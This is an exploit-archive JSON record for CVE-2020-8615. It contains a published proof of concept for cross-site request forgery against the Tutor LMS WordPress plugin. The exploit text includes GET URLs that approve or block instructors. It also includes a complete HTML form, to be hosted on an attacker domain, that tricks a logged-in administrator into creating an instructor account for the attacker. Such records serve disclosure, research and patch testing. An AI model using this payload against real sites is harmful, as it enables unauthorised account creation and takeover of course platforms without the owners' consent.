{"exploit":{"id":"EDB-48151","name":"WordPress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (CSRF) (Add User)","description":"WordPress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (CSRF) (Add User)","cves":["CVE-2020-8615"],"author":"Jinson Varghese Behanan","published":"2020-03-02","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/48151","path":"exploits/php/webapps/48151.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-48151.txt","vulnerabilities":[{"id":"CVE-2020-8615","state":"PUBLISHED","title":null,"titleSource":null,"description":"A CSRF vulnerability in the Tutor LMS plugin before 1.5.3 for WordPress can result in an attacker approving themselves as an instructor and performing other malicious actions (such as blocking legitimate instructors).","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2020-8615","cvss":{"version":"3.1","baseScore":6.5,"severity":"medium","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2020-8615"},"updatedAt":"2024-08-04T10:03:46.179Z","retrievedAt":"2026-11-26T05:59:57.069Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-48151.png?v=2","url":"https://exploitbin.com/exploits/EDB-48151","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-48151/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-48151/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Wordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (Add User)\n# Date: 2020-01-30\n# Vendor Homepage: https://www.themeum.com/product/tutor-lms/\n# Vendor Changelog: https://wordpress.org/plugins/tutor/#developers\n# Exploit Author: Jinson Varghese Behanan\n# Author Advisory: https://www.getastra.com/blog/911/plugin-exploit/cross-site-request-forgery-in-tutor-lms-plugin/\n# Author Homepage: https://www.jinsonvarghese.com\n# Version: 1.5.2 and below\n# CVE : CVE-2020-8615\n\n# 1. Description\n\n# The Tutor LMS WordPress plugin is a feature-packed plugin that enables users to create and sell courses.\n# An attacker can use CSRF to register themselves as an instructor or block other legit instructors.\n# Consequently, if the option to create courses without admin approval is enabled on the plugin’s settings\n# page, the attacker will be able to create courses directly as well. All WordPress websites\n# using Tutor LMS version 1.5.2 and below are affected.\n\n# 2. Proof of Concept\n\n# As the requests for the approval and blocking of instructors are sent using the GET method, the CSRF\n# attack to approve an attacker-controlled instructor account can be performed by having the admin\n# visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=approve&instructor=8 directly,\n# after retrieving the instructor ID during the registration process. An approved instructor can also be blocked\n# by directing the admin to visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=blocked&instructor=7.\n\n# CSRF attack can also be performed on the form present at https://TARGET/wp-admin/admin.php?page=tutor-instructors&sub_page=add_new_instructor\n# in order to have the admin add an instructor account for the attacker, thus bypassing the requirement for approval.\n# This can be done by tricking the admin to submit the below-given web form as a POST request. For example, if the web form is\n# hosted on an attacker-controlled domain https://attacker.com/csrf.html, an admin who is logged in at https://TARGET can\n# be tricked into visiting the link and triggering the request to add an instructor.\n\n<html>\n\t<body>\n\t\t<script>history.pushState('', '', '/')</script>\n\t\t<form action=\"https://TARGET/wp-admin/admin-ajax.php\" method=\"POST\">\n\t\t\t<input type=\"hidden\" name=\"action\" value=\"add&#95;new&#95;instructor\" />\n\t\t\t<input type=\"hidden\" name=\"first&#95;name\" value=\"John\" />\n\t\t\t<input type=\"hidden\" name=\"last&#95;name\" value=\"Doe\" />\n\t\t\t<input type=\"hidden\" name=\"user&#95;login\" value=\"jd_instructor\" />\n\t\t\t<input type=\"hidden\" name=\"email\" value=\"jd@TARGET\" />\n\t\t\t<input type=\"hidden\" name=\"phone&#95;number\" value=\"1231231231\" />\n\t\t\t<input type=\"hidden\" name=\"password\" value=\"Pa&#36;&#36;w0rd&#33;\" />\n\t\t\t<input type=\"hidden\" name=\"password&#95;confirmation\" value=\"Pa&#36;&#36;w0rd&#33;\" />\n\t\t\t<input type=\"hidden\" name=\"tutor&#95;profile&#95;bio\" value=\"Et&#32;tempore&#32;culpa&#32;n\" />\n\t\t\t<input type=\"hidden\" name=\"action\" value=\"tutor&#95;add&#95;instructor\" />\n\t\t\t<input type=\"submit\" value=\"Submit request\" />\n\t\t</form>\n\t</body>\n</html>\n\n3. Timeline\n\nVulnerability reported to the Tutor LMS team – January 30, 2020.\nTutor LMS version 1.5.3 containing the fix released – February 4, 2020.","sha256":"5cf3bd2014f328410eb40eb18a2b3a4cb2109d73848623cb018c34459c7d0804","bytes":3245,"fetchedAt":"2026-11-27T00:11:59.785Z","encoding":"utf-8 (display only; download retains original bytes)"}